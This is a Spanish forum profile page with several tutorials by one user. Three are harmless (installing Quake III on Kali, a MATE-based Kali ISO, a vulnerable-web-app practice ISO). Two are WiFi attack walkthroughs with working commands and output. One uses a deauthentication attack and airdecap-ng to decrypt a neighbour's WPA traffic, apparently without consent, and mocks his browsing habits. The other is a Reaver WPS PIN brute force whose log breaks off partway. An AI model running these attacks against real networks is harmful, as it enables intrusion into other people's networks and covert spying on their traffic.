Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - rand0m

#1
GNU/Linux / Instalando Quake III Arena en Kali Linux
Diciembre 07, 2015, 10:52:34 AM
Instalando Quake III Arena en Kali Linux
Porque un café cada vez que esperamos a que un script termine acabará matándonos

    Jugaba con mis amigos una partida en red local al Quake 2 (¿Mapa? q2dm1 - The Edge; ¿Mod? Weapons of Destruction) cuando vimos en un reportaje de una revista que se lanzaba el Quake 3 Arena. Llegó el momento del lanzamiento y teníamos un HUB de 16 puertos totalmente lleno, ceniceros por doquier, regletas en el suelo conectadas unas a otras y superficie para todos los teclados. Quake siempre fue el gran shooter de la vieja escuela y siempre se le trató con la reverencia que se merece. Tal es el culto que ya están organizando la QuakeCon 2016 en Dallas, Tx.

     No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y eso dio pie a un montón de herramientas para poder seguir disfrutando de éste juego otros 16 años más. Además siempre fue un juego muy ligado a la comunidad (Moddeable hasta el absurdo), para Quake2 existían miles de foros en los que descargar gratuitamente cientos de mods y contenido para el juego (Como el model de tu personaje: Podías ser Vegeta, Kenny, o incluso una caja de vida (Sí, LOL)).

    Para instalarlo en nuestro Kali primero usaremos apt-get install quake3, que nos dará el punto de partida para construir nuestro Quake III Arena para Linux.


    Una vez instalados los paquetes necesarios con apt-get podemos intentar ejecutar el juego para obtener un error. El juego no está instalado, y el error nos da la solución al problema.


    El archivo baseq3/pak0.pk3 está en la carpeta de instalación de un Quake III Arena o en el CD de instalación. Yo lo he comprado vía Steam por 10€ (Considero que se lo ganaron, 16 años de juego valen más, pero no soy rico) y el archivo está en C:\Steam\steamapps\common\Quake 3 Arena\baseq3\pak0.pk3. Lo transfiero desde ahí a una carpeta en mi Linux. Aprovecho también para copiarme el CD-KEY de C:\Steam\steamapps\common\Quake 3 Arena\baseq3\q3key. Me hará falta.

    El otro archivo, como nos indica, lo podemos descargar del servidor FTP de id Software. El servidor admite acceso anónimo, así que usaremos "anonymous" de usuario y "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" de contraseña. Entramos en /idstuff/quake3/linux y descargamos el archivo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


    Una vez que tenemos los archivos ya sólo nos queda usar game-data-packager para crear el archivo .deb para instalar en nuestro sistema. Antes deberíamos asegurarnos de que los archivos son correctos haciendo una suma de verificación.


    Y una vez que estamos seguros lanzamos game-data-packager para construir el juego.

Código: php
rand0m@underk4li:~/quakeIII$ game-data-packager
usage:
game-data-packager [game-data-packager-args] game [game-args]

game-data-packager arguments:
     -i               install the generated package
     -n               do not install the generated package (requires -d, default)
     -d OUTDIR        write the generated .deb(s) to OUTDIR
     -z | --compress  compress generated .deb (default unless -i is used)
     --no-compress    do not compress generated .deb (default with -i)


    Así que para generar el archivo usaremos el parámetro -n, ya que el archivo lo voy a generar sin permisos de superusuario para su posterior instalación. Si ejecutamos game-data-packager quake3 obtenemos, además, los parámetros específicos para el juego:

Código: php
run game-data-packager [game] to see game-specific arguments.

quake3 game arguments:
mountpoint - Quake III Arena CD mount-point or baseq3/pak0.pk3 filename
point release - linuxq3apoint-1.32b-3.x86.run


    Como ya lo tenemos todo ya sólo nos queda ejecutar game-data-packager -n quake3 pak0.pk3 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Creamos la imagen y, cuando esté lista, la instalamos con sudo dpkg -i quake3-data_37_all.deb.


    Y ya sólo nos queda arrancarlo, introducir un CD-KEY válido, configurar los ajustes de teclado, velocidad de ratón, nombre de jugador, model, etc...

Código: php
rand0m@underk4li:~/quakeIII$ quake3
ioq3 1.36+u20140802+gca9eebb-2+b1/Debian linux-x86 Oct 14 2014
Have SSE support
----- FS_Startup -----
Current search path:
/home/rand0m/.q3a/baseq3
/usr/share/games/quake3/baseq3
/usr/share/games/quake3/baseq3/pak8.pk3 (9 files)
/usr/share/games/quake3/baseq3/pak7.pk3 (4 files)
/usr/share/games/quake3/baseq3/pak6.pk3 (64 files)
/usr/share/games/quake3/baseq3/pak5.pk3 (7 files)
/usr/share/games/quake3/baseq3/pak4.pk3 (272 files)
/usr/share/games/quake3/baseq3/pak3.pk3 (4 files)
/usr/share/games/quake3/baseq3/pak2.pk3 (148 files)
/usr/share/games/quake3/baseq3/pak1.pk3 (26 files)
/usr/share/games/quake3/baseq3/pak0.pk3 (3539 files)

----------------------
4073 files in pk3 files
execing default.cfg
execing q3config.cfg
couldn't exec autoexec.cfg
Hunk_Clear: reset the hunk ok
----- Client Initialization -----
----- Initializing Renderer ----
Trying to load "renderer_opengl1_x86.so" from "/usr/lib/ioquake3"...
-------------------------------
QKEY found.
----- Client Initialization Complete -----
----- R_Init -----
etc...
etc...
etc...


    ¡Y a jugar!

**
  by rand0m para Underc0de - Distribuido bajo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Click para ver los detalles).
#2
GNU/Linux / Volviendo con Kali Linux 2.0 a Gnome 2 (MATE)
Noviembre 26, 2015, 06:32:59 AM

  Una de las cosas más cacareadas de Kali 2.0 Sana es el nuevo entorno de escritorio Gnome3, con su dock y su sistema de menús. Hay algunos a favor del paso a Gnome3, y hay otros (Entre los que me incluyo) que preferíamos la simplicidad y comodidad de Gnome2.

  Al tratarse de una versión anterior de Gnome, el código fuente quedó libre y en manos de la comunidad, por lo que algunos seguidores argentinos de Gnome2 lanzaron No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, una versión independiente de Gnome2 para los que no queremos cambiar lo que consideramos un escritorio ideal.

  Sin embargo, Kali Sana nos viene con 2 sabores: Light y Gnome3. Y si queremos utilizarlo como una distro Live la idea de instalar un nuevo escritorio cada vez que booteamos el sistema... no es una idea. Así que lo mejor que podemos hacer es personalizar nuestro Kali para crear un Live DVD configurado a nuestro gusto. Vamos allá.

  Lo primero que necesitamos (No es necesario, pero sí recomendable) es un entorno Kali con el que empezar a trabajar. Como mi objetivo es crear una versión con Mate para mi portátil de bajos recursos voy a instalar Kali 2 x86 en una máquina virtual con 50GB de disco duro para empezar a trabajar. Haré la instalación del "sistema taller" a lo Windows (Next -> Next -> Next -> Next -> Next -> Next -> Finish). No he configurado nada en especial durante la instalación. Podríamos hacerlo desde un entorno Live si tenemos suficiente espacio en el que alojar todo el contenido para la construcción de la ISO. De ahí que me haya venido arriba y le haya puesto 50GB de disco duro a una VM de taller. Cuando termine el tutorial y tenga mi ISO ya no necesitaré esa máquina, así que la borraré.

  Una vez instalado nos encontramos con lo que queremos exterminar: El horroroso escritorio Gnome3 (Según criterios).


  Una vez iniciado actualizamos el sistema a 0day y nos disponemos a prepararlo para crear nuestra ISO.

Código: bash
sudo apt-get update; sudo apt-get upgrade -y; sudo apt-get dist-upgrade -y; sudo apt-get autoremove -y; sudo apt-get autoclean -y


  Puede que la primera vez que lo arranquemos obtengamos un error al ejecutar este comando. Es un error de Kali 2. Sólo tenemos que eliminar los archivos lock para liberar el sistema de archivos de apt.


  Y una vez borrados ya podemos actualizar el sistema y prepararnos para instalar lo que necesitaremos. La primera actualización tardará un ratito. Básicamente las actualizaciones de metasploit-framework, exploitdb y jdk7 pesan bastante. Por suerte sólo tenemos que esperar y no actualizar los paquetes uno por uno.

  Una vez hecho esto necesitamos asegurarnos de tener instalados los siguientes paquetes:

Código: bash
sudo apt-get install curl -y; sudo apt-get install git -y; sudo apt-get install live-build -y; sudo apt-get install cdebootstrap -y


Y una vez instalados ya sólo nos falta copiar el live-build-config del repositorio de Kali.

Código: bash
git clone git://git.kali.org/live-build-config.git


  Hecho ésto ya estamos listos para configurar y crear la imagen. Vamos a editar la configuración para instalar LightDM y así tener una pantalla de login ligera y funcional allí donde instalemos el sistema de esta ISO.

Código: bash
vim live-build-config/kali-config/variant-mate/package-lists/kali.list.chroot


  Y al final de todo añadimos a la lista, después de mate-desktop-environment, lightdm y lo guardamos (En Vim primero pulsamos Esc y escribimos :wq, pero podéis usar el editor que os de la gana).


  Podemos configurar más cosas. Ahora, simplemente porque puedo y para mostrar lo fácil que es toquetear en la configuración de un Live, voy a modificar el splash del boot para personalizarlo un poco.
  La imagen la toma de live-build-config/kali-config/common/includes.binary/isolinux/splash.png, así que voy a instalar Gimp y a editarla directamente al vuelo. Le pongo el logotipo de Mate Desktop en grande y lo firmo con el logotipo de UNDERC0DE para que todo el mundo sepa lo mucho que molamos aquí.

  Cuando tengamos hechos los ajustes que queremos ya sólo nos queda construir la imagen. Ésto llevará mucho tiempo, así que podéis dejarlo trabajando mientras vais a trabajar/clase/compromisos/visitar al dealer/la compra/etc.
  Para iniciar el proceso basta con ejecutar el script No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que hay en la carpeta live-build-config, indicándole como parámetro que use la configuración que hemos dejado para variant-mate, avisándole de que lo que queremos crear es un Kali 2.

Código: bash
./build.sh --variant mate --distribution sana --verbose


  Yo lo he lanzado con un time para que veáis cuánto tarda realmente el proceso. Así podréis planificarlo entre vuestras tareas cotidianas. Cabe decir, además, que el script No tienes permitido ver los links. Registrarse o Entrar a mi cuenta no necesita permisos de root para correr. Todo esto lo estoy haciendo con mi usuario sin privilegios. Si hemos metido la pata y tenemos en nuestro home archivos a los que sólo root tiene acceso lo arreglamos con un simple sudo chown -R usuario /home/usuario para asignarnos la propiedad de los archivos.

  Como se puede ver, el proceso ha tardado cerca de 3 horas y media.


  Ahora, en la carpeta images, tenemos nuestra ISO lista para ser probada. La configuramos como disco de arranque de la máquina virtual y vemos qué ocurre.


  Muy bonito. Al iniciar la sesión Live nos encontramos con el escritorio MATE, basado en Gnome2. Estoy encantado con el resultado.


  Con ésto ya tengo una versión de Kali Sana para mi portátil (Arquitectura x86) con mi entorno de escritorio favorito. ¡Aguante, Mate!

  Ya que está hecha, me tomé la molestia de subirla a Mega para quien quiera descargársela para algún equipo. Os animo a que lo intentéis para conseguir la versión con la que más cómodos os sintáis.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

**
  by rand0m para Underc0de - Distribuido bajo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Click para ver los detalles).
#3
Hoy estaba poniendo algo de orden en el disco duro y tropecé con esta ISO Live que conjuga, en una sola imagen, varios wargames de los más populares con los que se pueden hacer miles y miles de prácticas y pruebas. 400MB de lo más útiles para nuestro Hacklab.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Al arrancarlo y acceder a su servidor web (Busca configuración DHCP, por lo que no necesitamos credenciales para añadirlo a nuestra red) nos encontramos con dos categorías: "Teach yourself" y "Practice".

Y entre las dos categorías reúnen los siguientes recursos, que no me parecen pocos:


En la categoría "Teach yourself":

  • DAMN VULNERABLE WEB APP
  • WebGoat
  • Ghost
  • Mutillidae
  • Zap-Wave

En la categoría "Practice":

  • Hackademic
  • Vicnum
  • WackoPicko
  • Insecure Web App
  • BodgeIT
  • PuzzleMall
  • WAVSEP

La ISO puede correr en modo Live, podemos instalarla en algún equipo que tengamos o podemos correrla Live en una máquina virtual. Por no sé qué razón (No lo intenté ni me informé al respecto) no es posible instalarlo en una máquina virtual. Al menos eso indican en la página principal.

Son un montón de puzzles muy útiles para probar nuestros scripts, para intentar técnicas de ataque que no solemos usar, para poder ver las huellas que vamos dejando...
Un paraíso para el que quiera empezar a meter las manos en materia.

Como dijo Confucio: "Me lo contaron y lo olvidé; lo vi y lo entendí; lo hice y lo aprendí".
#4
Capturando el tráfico de una red WiFi como un ninja


Una de las cosas que más nos debería preocupar cuando tenemos a un intruso en nuestra red de confianza (Red local de casa, del trabajo, etc.) es que capture el tráfico y lo analice, de forma que pueda controlar lo que estamos haciendo.

Una vez invadida una red WiFi podríamos intentar capturar tráfico con tcpdump, pero no tendríamos los resultados esperados. Una buena forma de hacerlo sería redirigir todo el tráfico de la red a nuestro equipo para poder analizarlo, pero ésto podría disparar varias alarmas.

The quieter you become, the more you are able to hear
El lema de BackTrack es lo que nos trae a buscar procedimientos más silenciosos, así que... ¿Cómo podemos capturar el tráfico de la red sin llamar la atención?

La respuesta es, como siempre: DEPENDE

Muchos hackers dan una respuesta muy tajante con respecto a la seguridad y el WiFi: No lo uses, usa cable. Pero ¿por qué son tan tajantes?

Algunos se amparan en la lógica de la velocidad de red. Está muy bien que con las redes WiFi N alcances 150Mbps, o que los 450Mbps con wifi a 5GHz, pero sigue siendo menos que la mitad que las redes Gigabit. Coherente, lógico y correcto. En eso es mejor el cable que el WiFi. ¿Pero qué más?

Seguridad. Utilizar WiFi es jugar con fuego bajo determinadas circunstancias, ya que el tráfico de la red se puede capturar sin estar conectado a la red (Cualquiera que sepa levantar claves WEP habrá capturado muchísimo tráfico antes de conocer la contraseña)

Una vez sabida la contraseña podríamos intentar descifrar todo el tráfico capturado para su posterior análisis en Ethereal. Pero en las redes WPA no es tan sencillo. Es muy fácil, pero no tanto.

¿Cómo se crackea una clave WPA?

No lo voy a explicar aquí en detalle, éso debéis estudiarlo en otros posts. Necesitamos llegar aquí sabiendo que necesitamos capturar el handshake de un cliente autenticado para hacerle un ataque por diccionario, hasta que el archivo se descifra correctamente y obtenemos el positivo.

Por esa regla de tres podemos deducir que si tenemos el handshake y la contraseña podemos descifrar los paquetes capturados para analizarlos después. Y para eso no necesitamos estar conectados a la red, sólo tener nuestra antena WiFi a la escucha.

El otro día estuve jugando con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con un resultado fructífero. Usaré ese AP a modo de dummy. (Nota: Los posibles datos identificativos han sido editados)

Código: text
root@kali:/home/rand0m/neighbor# airodump-ng -w ahorateveo --bssid D8:61:FF:FF:FF:FF --essid VodafoneFFFF --channel  7 --output-format pcap -a wlan0mon


Lanzamos airodump-ng con los parámetros bssid y essid para filtrar sólo el tráfico de la red que nos interesa. Además le decimos que nos guarde el archivo ahorateveo en formato pcap.

Código: text
 CH  7 ][ Elapsed: 0 s ][ 2015-08-18 22:07 

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

D8:61:FF:FF:FF:FF  -81 100       40        0    0   7  54e  WPA  CCMP   PSK  VodafoneFFFF

BSSID              STATION            PWR   Rate    Lost    Frames  Probe


De primeras tenemos nuestra antena a la escucha y filtrando los paquetes de la red que queremos. Ahora necesitamos el handshake, así que lanzamos el ataque DEAUTH con aireplay-ng.

Código: text
root@kali:/home/rand0m/neighbor# aireplay-ng -0 0 -a D8:61:FF:FF:FF:FF wlan0mon
22:10:30  Waiting for beacon frame (BSSID: D8:61:FF:FF:FF:FF) on channel 7
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
22:10:31  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:32  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:32  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:33  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:33  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:34  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:34  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:34  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:35  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:35  Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]


Hasta que conseguimos lo que queríamos: El WPA handshake.

Código: text
 CH  7 ][ Elapsed: 5 mins ][ 2015-08-18 22:12 ][ WPA handshake: D8:61:FF:FF:FF:FF

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

D8:61:FF:FF:FF:FF  -81 100       40        0    0   7  54e  WPA  CCMP   PSK  VodafoneFFFF

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

D8:61:FF:FF:FF:FF  18:83:FF:FF:FF:FF  -74    1e- 6      0     4019  VodafoneFFFF


Ahora lo dejamos a la escucha y nos olvidamos. Vamos a dejarlo capturando unas horas y luego veremos qué nos encontramos.

Cuando tenemos un buen pino ya podemos ponernos a estudiar los datos recopilados.

Código: text
 CH  7 ] 9 hours 55 mins ][ 2015-08-19 08:02 ][ WPA handshake: D8:61:FF:FF:FF:FF

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

D8:61:FF:FF:FF:FF  -82  96   298434    99355    0   7  54e  WPA  CCMP   PSK  VodafoneFFFF

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

D8:61:FF:FF:FF:FF  18:83:FF:FF:FF:FF  -75    1e- 6      0     1365  VodafoneFFFF


Ahora, para descifrarlo, usaremos la herramienta airdecap-ng, que viene con la suite de aircrack-ng.

Código: text
root@kali:/home/rand0m/neighbor# airdecap-ng -e VodafoneFFFF -b D8:61:FF:FF:FF:FF -p Underc0de ahorateveo-01.cap
Total number of packets read       2532614
Total number of WEP data packets         0
Total number of WPA data packets     93405
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets     79414


Esto nos generará el archivo ahorateveo-01-dec.cap con los paquetes descifrados. Ya sólo nos queda abrirlo en Wireshark para poder analizar los datos recopilados.

Por ejemplo, viendo las consultas DNS realizadas podemos ver por dónde estuvo navegando.
Y podemos ver que es un chico malo malo que navega por piratebay y por páginas golfas. Lo típico que hace alguien relajándose mientras no hay nadie mirando, pero ¿cuántas veces creemos que no nos observan mientras sí lo hacen?

Además, como hablábamos al principio, los paquetes se capturaron del aire. No estoy conectado a la red, sólo conozco la contraseña.

NO aparezco conectado a su red. NO aparezco enviando tráfico sospechoso. Sólo escucho, descifro y analizo.

The quieter you become, the more you are able to hear

**
  by rand0m para Underc0de - Distribuido bajo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Click para ver los detalles).
#5
WPS (Wi-Fi Protected Setup) es un método de seguridad para las redes WiFi que dispone de 3 variantes:

       
  • PBC (Push-Button-Connect): El usuario tiene que pulsar un botón (Físico o virtual) en el AP y en el dispositivo cliente. Estará activo hasta que la autenticación tenga éxito o caiga el timeout de 2 minutos.
  • Internal Registrar: El usuario debe introducir el PIN en una interfaz web del AP. Puede estar escrito en la etiqueta del adaptador o generado por software.
  • External Registrar: El usuario debe escribir el PIN del AP en el dispositivo que se quiera conectar.
El PBC nos exige contacto físico con el AP, por lo que no me sirve.

El Internal Registrar exige acceder al panel web del AP, por lo que tampoco me sirve.

Lo que haré será probar todos los códigos PIN posibles desde mi equipo usando el método External Registrar.

Para entender cómo funciona el proceso leemos el paper de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (LECTURA OBLIGATORIA RECOMENDADA). Otra lectura muy interesante para entender el mecanismo de WPS es la explicación que dan en el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

En el paper, que sólo son 9 páginas con muchísimas tablas (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), se puede ver que el PIN en realidad no es un PIN de 8 dígitos, sino que consta de 2 partes:

       
  • Primera parte del PIN (4 primeros dígitos)
  • Segunda parte del PIN (3 siguientes dígitos + suma de verificación (Checksum))
Esta mala implementación hace que en vez de enfrentarnos a un PIN de 8 dígitos nos enfrentamos a uno de 4 y uno de 3. Todo ésto es muy importante ya que desmonta completamente las matemáticas del sistema de seguridad. Hagamos los números:

Si contamos con un sistema de 10 dígitos (0-9) las diferentes posibilidades se elevan exponencialmente al número de dígitos. Ésto nos pone, en caso de tener un PIN de 8 dígitos, en:
10·(107) = 100000000 posibilidades
Haría falta tanto tiempo para conseguir el PIN que el ataque podría tardar varios años. Inviable.
Pero si tenemos un PIN de 4 dígitos y otro de 3 la cosa cambia mucho:
10·(103) = 10000 posibilidades
10·(102) = 1000 posibilidades
En total suman 11000 PIN diferentes. Hemos descartado 99989000 PIN de un plumazo. Glorioso.
Basándose en esto No tienes permitido ver los links. Registrarse o Entrar a mi cuentaescribió Reaver. Una herramienta que realiza ataques de fuerza bruta contra WPS siguiendo este método.
La herramienta, una vez en manos de la comunidad, fue creciendo y desarrollándose, encontrándose ahora en su No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para incluir funciones útiles para los ataques PixieDust.

Sin embargo, a pesar de ser un sistema tan sencillo, muchas veces nos encontramos con problemas a la hora de obtener el PIN de un AP remoto.
¿Por qué?

Para ilustrar esto estoy jugando con un WPS Broadcom 123456 de un router Vodafone. Lanzamos Reaver y nos encontramos con lo siguiente:

root@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:~/wifis/ch11# reaver -i wlan1mon -b D8:61:FF:FF:FF:FF -vv --session=/dev/null

El parémtro --session=/dev/null sirve para que reaver no guarde la sesión. No estoy intentando obtener la contraseña, sino estudiar el proceso de crackeado.

Código: php
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin

Como bien nos indica el [!] WARNING: Receive timeout occurred se ha producido un timeout al recibir respuesta. Ésto se debe a que estos ataques requieren buena capacidad de comunicación entre el AP y nuestro adaptador.
Código: php
root@kali:~/wifis/ch11# airodump-ng --channel 11 --wps wlan1mon

CH 11 ][ Elapsed: 9 mins ][ 2015-08-04 00:00

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

D8:61:FF:FF:FF:FF  -71  89     4178      257    0  11  54e  WPA  CCMP   PSK  VodafoneFFFF

Con una señal de -71dBm vamos mal. Para este tipo de ataques lo recomendable es tener al menos -65dBm, pero aquí estamos buscando problemas a los que enfrentarnos.

Los errores 0x02 siguen repitiéndose y, tras el mismo mensaje repetido 21 veces, empezamos a ver que algo sucede.
Código: php
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 18:96:63:aa:3c:e5:90:34:4f:39:3a:89:ef:78:e2:83
[P] PKE: b0:75:bb:83:fe:03:79:78:ff:a1:09:23:75:b1:86:f9:4f:e4:35:99:9d:c7:5d:97:b6:9d:e7:13:d7:ad:2b:51:5e:08:76:50:fc:95:43:37:86:de:e7:0f:ff:54:84:b3:e3:ee:62:11:87:31:1e:f5:75:48:e9:e5:ac:5c:c0:c0:b6:f3:dc:e2:e9:33:da:ad:73:67:7a:1e:d6:5d:3a:b1:95:d0:0e:27:f9:2c:48:9f:a0:57:4d:36:a4:40:ee:2c:37:35:17:b1:c3:f9:e9:99:92:a7:10:d6:14:79:c6:ca:a3:ee:47:69:ec:18:f1:ad:69:d2:ea:5c:5d:aa:0c:0c:46:c2:89:dc:16:a2:c7:8d:ec:64:34:60:f5:f8:5a:c2:2a:63:2f:b2:1c:8a:47:03:35:cb:95:c6:bd:db:c4:21:38:73:2f:3d:6c:93:1a:0e:ca:c1:7e:30:a5:44:5c:dd:6d:6e:1d:d7:76:e6:2e:ec:7a:1c:57:c2:d7:5c:e4:c4
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: e1:6e:4b:62:5f:40:ed:9e:ac:ca:eb:98:f9:0b:b9:a3
[P] PKR: 33:26:70:28:8c:86:6b:dc:4b:7f:ef:f2:27:2d:c4:77:17:3a:60:57:61:e1:a5:9c:5c:14:17:77:1a:98:1d:8a:49:d7:17:fc:c0:a3:78:13:14:0d:ce:55:a1:8c:cf:58:c1:56:83:d5:f6:26:d8:0f:91:14:bc:74:a7:26:18:d3:1e:df:ae:f4:40:1d:7a:c2:21:3b:c8:e1:72:c7:d4:d2:a7:ec:95:ab:6c:e1:96:19:be:2e:95:8d:0c:a3:1a:12:8d:db:40:63:e9:2f:9e:80:1f:de:f1:72:d0:83:d1:10:9a:90:d1:0a:28:d6:3c:e8:32:5d:63:df:0f:68:59:92:50:f7:20:d3:59:94:85:24:50:58:ac:48:2e:ba:8f:73:25:6e:65:81:1b:7e:8a:e7:7f:8e:6a:bb:b7:96:f2:37:63:2f:58:c4:79:52:ab:21:11:f5:6a:e8:a1:08:78:15:b4:69:d6:da:87:57:11:aa:89:7f:4b:18:cf:fa:94:ab
[P] AuthKey: e5:23:f4:22:a1:3c:e6:a6:1a:24:2c:52:3f:83:a7:67:93:aa:d1:10:8f:9f:4a:70:08:56:4d:8c:6e:24:69:ac
[+] Sending M2 message
[P] E-Hash1: 23:83:fe:2d:c9:e3:09:6a:75:b1:4a:99:cb:5d:b6:2b:c5:fe:59:f2:38:18:a4:3c:ca:ab:80:8e:a8:29:60:32
[P] E-Hash2: e7:67:59:bd:3a:cc:81:88:6e:02:ab:26:c2:a4:8a:70:66:ea:e6:25:08:39:91:e4:21:c3:93:ba:4e:65:17:7b
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 1
[+] Pin count advanced: 1. Max pin attempts: 11000

Ahí podemos ver que tras Sending identity response recibimos una respuesta que se descompone con el prefijo [P] para destacar que es información útil para un ataque PixieDust (No lo utilizaremos).
Además vemos el aviso de que hemos recibido el mensaje M3, al que respondemos enviándole M4.
Como el AP nos devolvió un NACK sabemos que la primera mitad del PIN era incorrecta, así que incrementa el índice de p1 y repite el ciclo una y otra vez. Todo va rodado, hasta que de repente todo se detiene y parece que algo va mal. En la pantalla pone WARNING con mayúsculas y eso no suele ser bueno.
Código: php
[+] Trying pin 77775672.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: e4:21:e0:66:39:e2:a0:cf:0a:1f:79:1d:71:1a:7e:9a
[P] PKE: 14:b2:f7:47:be:97:7e:f3:5a:9a:50:28:42:f0:54:49:b1:e5:4f:ad:57:36:8b:f6:ab:52:ad:82:57:65:75:eb:ec:58:ac:1a:0c:17:e5:d6:e0:4a:1a:53:55:9e:f4:d1:db:64:31:09:56:05:8b:fb:c6:0a:26:2f:3d:b0:14:09:8e:22:09:2d:dc:2d:4e:d4:8d:7c:59:d0:1d:63:43:41:cc:49:8d:a2:45:31:c4:d9:f8:53:93:a5:30:a0:45:f8:41:db:01:54:d7:29:1e:09:e1:d9:b2:b4:bb:8a:32:8c:da:1e:ac:7a:de:bd:68:c4:55:b5:8f:b2:5c:c4:3c:5e:fe:a4:20:ef:ad:5b:93:7d:96:91:15:44:f9:48:8b:a0:df:fc:ed:16:8b:88:83:d4:4f:80:66:4f:6f:d1:72:a9:ab:f0:54:93:4e:e6:96:c7:52:64:2f:f7:f7:89:9a:70:63:50:1e:c0:f4:70:4d:ad:53:bb:c3:07:a5:6f:1c:bd
[P] WPS Manufacturer: Broadcom
[P] WPS Model Name: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] R-Nonce: 42:2b:92:95:a9:f4:47:1e:ca:64:62:09:07:3d:4a:36
[P] PKR: a2:cf:a5:5f:44:c6:18:0f:e6:18:ae:7c:66:ac:07:6c:47:3e:20:5d:67:77:ab:8d:8e:01:19:ad:8b:76:43:93:b2:ce:94:e4:84:00:b7:59:04:a6:52:4e:72:16:21:97:1e:a8:c3:aa:32:71:e1:70:b9:b0:02:0d:82:15:54:38:2b:aa:8c:e6:09:eb:8a:0e:e3:cb:08:ec:e8:ee:b2:43:ea:3b:01:2b:a4:c6:a7:01:e4:c2:da:4a:98:07:05:37:9a:0c:6f:5d:8f:1b:8f:91:2d:ae:6d:03:24:15:8e:a9:75:23:73:6a:6a:fe:a7:e8:62:f0:a6:e5:83:0e:36:ee:10:a6:8c:81:f4:1e:04:58:5e:79:d2:ea:41:7c:6c:58:92:29:4c:73:0c:24:e5:33:1d:9c:c5:c2:59:f8:e2:de:9b:0e:40:5c:55:83:e0:9f:39:c6:30:5c:27:c1:05:54:f4:d3:c3:68:68:37:95:bb:48:b8:78:1d:6f:3d:fa:f1
[P] AuthKey: b6:ac:f2:2b:3f:d7:5f:bb:be:81:2d:47:fc:f9:de:d7:f6:ad:86:09:b9:75:fb:c0:d8:54:3a:b5:26:a4:8d:40
[+] Sending M2 message
[P] E-Hash1: 7b:c0:d2:6e:7a:08:3d:22:41:8b:19:14:be:87:50:9a:50:41:03:1a:de:a6:6d:46:4c:81:b5:1a:63:38:f4:f0
[P] E-Hash2: 20:58:7c:d0:2c:2f:52:f7:67:19:4a:37:43:48:b3:7d:85:ac:30:d4:c9:21:f8:d7:13:31:17:59:57:65:22:01
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 10
[+] Pin count advanced: 10. Max pin attempts: 11000
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking

¡OH, NO! ¡¿QUÉ PASA?!
Tras ver cómo se repite el mensaje de [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking un total de 10 veces todo vuelve a fluir con normalidad.
Código: php
[+] Trying pin 88885674.
